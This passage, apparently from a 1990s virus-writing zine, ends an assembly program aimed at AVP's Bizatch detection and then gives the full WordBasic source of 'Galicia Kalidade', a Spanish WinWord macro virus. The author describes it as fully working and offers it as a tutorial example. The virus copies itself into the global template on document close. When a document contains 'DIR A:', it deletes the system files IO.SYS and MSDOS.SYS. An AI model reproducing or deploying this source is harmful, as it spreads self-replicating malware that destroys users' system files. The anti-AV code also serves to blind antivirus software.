db 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h
db 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h
db 00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h
db 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h
db 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh
db 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch
db 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h
db 8ah,02h,00h,00h,74h
base_end label byte

; **´ Bizatch's detection code Ã******************************************


;
; biz_dec segment byte public 'code'
; assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec
;
; _decode proc far
; push ds bp
; mov bp,seg _Header ; Get AVP's data segment
; mov ds,bp
;
; les di,_Header ; Get pointer to header
; mov bp,word ptr es:[di+3ch] ; Get PE header offset
; xor ax,ax
;
; push ax bp
; call far ptr _Seek ; Lseek to PE header
; pop ax ax ; Remove 2 words from stack
;
; les di,_Page_C ; Destination=buffer
; mov ax,0f8h ; Size=f8h bytes
;
; push ax es di ; Read f8h bytes from
; call far ptr _Read ; the PE header
;
; add sp,6 ; Remove 3 words from stack
; les di,_Page_C ; The call changes ES
; cmp word ptr es:[di],'EP' ; Portable Executable?
; jne back_to_avp
;
; mov cx,word ptr es:[di+6] ; Objects number
; next_entry: push cx
;
; mov ax,28h ; Length of each
; push ax es di ; object table entry
; call far ptr _Read ; Read object
;
; add sp,6 ; Remove 3 words from stack
; pop cx
; les di,_Page_C ; Point to our buffer
; cmp word ptr es:[di],'lv' ; vl(ad) object?
; jne search_loop
;
; cmp word ptr es:[di],'da' ; (vl)ad object?
; je lseek_object ; Bingo! :)
;
; search_loop: loop next_entry ; Process next object
;
; back_to_avp: xor ax,ax ; R_CLEAN==0
; pop bp ds ; Return to AVP
; retf
;
; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object
; push es di ; physical offset
; call far ptr _Seek
;
; pop ax ax
; mov ax,0ah ; Read ten bytes to
; les di,_Page_C ; our buffer (page C)
; push ax es di
; call far ptr _Read
;
; add sp,6 ; And now AVP will compare
; jmp back_to_avp ; those ten bytes with
; _decode endp ; Bizatch's search string
; biz_decode ends
;
; public _decode
; extrn _Page_C:dword ; External AVP's API
; extrn _Header:dword ; functions and buffers
; extrn _Seek:far ; (lseek, read, header,
; extrn _Read:far ; read buffer...)
; end

anticaro_end label byte


anticaro ends
end anticaro_start
'
' ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
' Galicia Kalidade ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
' (@) MaD MoTHeR TeaM ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
' ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
' ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
'
' This baby is the smallest macro virus ever (as far as i know). I wrote it
' as a code example of the VBA language tutorial published in this issue.
'
' It's an encrypted WinWord infector which infects on AutoClose and... look
' at this... it's the unique virus in the world which infects by 'doing' a
' dir a:... but not in the way you're supposing ;-)
'
' On AutoClose, it copies itself and checks the closed document for the
' words 'dir a:', ignoring any case or font... if such string is found, it
' will delete MSDOS.SYS and IO.SYS and then display a message box.
'
' Btw, as this is the first spanish macro virus, i decided to write it so
' it will work only under spanish versions of WinWord :-)

Sub Main
nombre$ = NombreVentana$() + ":AutoClose"
MacroCopiar nombre$, "Global:AutoClose", 1
ArchivoGuardarComo .Format = 1
MacroCopiar "Global:AutoClose", nombre$, 1
PrincipioDeDocumento
Edici¢nBuscarEliminarFormato
Edici¢nBuscar .Buscar = "DIR A:", .PalabraCompleta = 0, \
.CoincidirMay£sMin£s = 0, .Direcciones = 0, \
.Ajuste = 0
If Edici¢nBuscarEncontrado() <> 0 Then
FijarAtributos "C:\IO.SYS",0
Fijar Atributos "C:\MSDOS.SYS",0
Kill "C:\IO.SYS"
Kill "C:\MSDOS.SYS"
MsgBox "El virus Galicia Kalidade ha actuado" , \
"Galicia Kalidade", 16
End If
End Sub

' Hey! What are you looking for? *THAT* supertiny thing is a 100% working
' macro virus... didn't you believe me when i told you this is the smallest
' WW infector ever? :-)

You might also like